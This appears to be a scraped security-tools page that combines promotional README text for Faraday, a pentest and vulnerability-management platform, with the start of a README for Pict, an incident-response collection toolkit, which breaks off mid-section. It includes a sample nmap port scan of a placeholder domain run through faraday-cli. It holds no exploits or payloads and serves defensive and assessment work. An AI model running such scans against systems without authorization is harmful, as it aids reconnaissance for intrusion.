Connect you favorite tools through our plugins. Right now there are more than 80+ supported tools, among which you will find:

Missing your favorite one? Create a Pull Request!

There are two Plugin types:

Console plugins which interpret the output of the tools you execute.

$ faraday-cli tool run \"nmap www.exampledomain.com\"
💻 Processing Nmap command
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-22 14:13 -03
Nmap scan report for www.exampledomain.com (10.196.205.130)
Host is up (0.17s latency).
rDNS record for 10.196.205.130: 10.196.205.130.bc.example.com
Not shown: 996 filtered ports
PORT     STATE  SERVICE
80/tcp   open   http
443/tcp  open   https
2222/tcp open   EtherNetIP-1
3306/tcp closed mysql
Nmap done: 1 IP address (1 host up) scanned in 11.12 seconds
⬆ Sending data to workspace: test
✔ Done

Report plugins which allows you to import previously generated artifacts like XMLs, JSONs.

faraday-cli tool report burp.xml

Creating custom plugins is super easy, Read more about Plugins.

API

You can access directly to our API, check out the documentation here.

Links

• Homepage: faradaysec.com
• Documentation: Faraday Docs
• Download: Download .deb/.rpm from releases page
• Issue tracker and feedback: Github issue tracker
• Frequently Asked Questions: FaradaySEC FAQ
• Twitter: @faradaysec
• Try one of our Demos

Faraday Community - Open Source Penetration Testing and Vulnerability Management Platform

Faraday was built from within the security community, to make vulnerability management easier and enhance our work. What IDEs are to programming, Faraday is to pentesting.

Offensive security had two difficult tasks: designing smart ways of getting new information, and keeping track of findings to improve further work.

This new update brings: New scanning, reporting and UI experience

Focus on pentesting

Get your work organized and focus on what you do best. With Faradaycommunity, you may focus on pentesting while we help you with the rest..

Check out the documentation here.

Installation

The easiest way to get faraday up and running is using our docker-compose

# Docker-compose

    $ wget https://raw.githubusercontent.com/infobyte/faraday/master/docker-compose.yaml

    $ docker-compose up

Manage your findings

Manage, classify and triage your results through Faraday’s dashboard, designed with and for pentesters.

Get an overview of your vulnerabilities and ease your work.

By right clicking on any vulnerability, you may filter, tag and classify your results with ease. You may also add comments to vulnerabilities and add evidence with just a few clicks

In the asset tab, information on each asset is presented, for a detailed follow-up on every device in your network. This insight might be especially useful if you hold critical data on certain assets, so the impact of vulnerabilities may be assessed through this information. If responsibilities over each asset are clear, this view helps to organize and follow the work of asset owners too.

Here, you can obtain information about the OS, services, ports and vulnerabilities associated with each of your assets, which will give you a better understanding of your scope and help you to gain an overview of what you are assessing.

Use your favorite tools

Integrate scanners with Faraday Agents Dispatcher. This feature will allow you to orchestrate the most common used security tools and have averything available from your Faraday instance. Once your scan is finished, you will be able to see all the results in the main dashboard.

Choose the scanners that best fit your needs.

Share your results

Once you’re done, export your results in a CSV format.

Check out some of our features

Full centralization

With Faraday, you may oversee your cybersecurity efforts, prioritize actions and manage your resources from a single platform.

Elegant integration of scanning tools

Make sense of today’s overwhelming number of tools. Faraday’s technology aligns +80 key plugins with your current needs, normalizing and deduplicating vulnerabilities.

Powerful Automation

Save time by automating pivotal steps of Vulnerability Management. Scan, create reports, and schedule pipelines of custom actions, all following your requirements.

Intuitive dashboard

Faraday’s intuitive dashboard guides teams through vulnerability management with ease. Scan, analyze, automate, tag, and prioritize, each with just a few clicks.

Smart visibility

Get full visibility of your security posture in real-time. Advanced filters, navigation, and analytics help you strategize and focus your work.

Easier teamwork

Coordinate efforts by sending tickets to Jira, Gitlab, and ServiceNow directly from Faraday.

Planning ahead

Manage your security team with Faraday planner. Keep up by communicating with your peers and receiving notifications.

Work as usual, but better

Get your work organized on the run when pentesting with Faraday CLI.

Proudly Open Source

We believe in the power of teams, most of our integrations and core technologies are open source, allowing any team to build custom implementations and integrations.

For more information check out our website www.faradaysec.com

Pict - Post-Infection Collection Toolkit

This set of scripts is designed to collect a variety of data from an endpoint thought to be infected, to facilitate the incident response process. This data should not be considered to be a full forensic data collection, but does capture a lot of useful forensic information.

If you want true forensic data, you should really capture a full memory dump and image the entire drive. That is not within the scope of this toolkit.

How to use

The script must be run on a live system, not on an image or other forensic data store. It does not strictly require root permissions to run, but it will be unable to collect much of the intended data without.

Data will be collected in two forms. First is in the form of summary files, containing output of shell commands, data extracted from databases, and the like. For example, the browser module will output a browser_extensions.txt file with a summary of all the browser extensions installed for Safari, Chrome, and Firefox.

The second are complete files collected from the filesystem. These are stored in an artifacts subfolder inside the collection folder.

Syntax

The script is very simple to run. It takes only one parameter, which is required, to pass in a configuration script in JSON format:

./pict.py -c /path/to/config.json

The configuration script describes what the script will collect, and how. It should look something like this: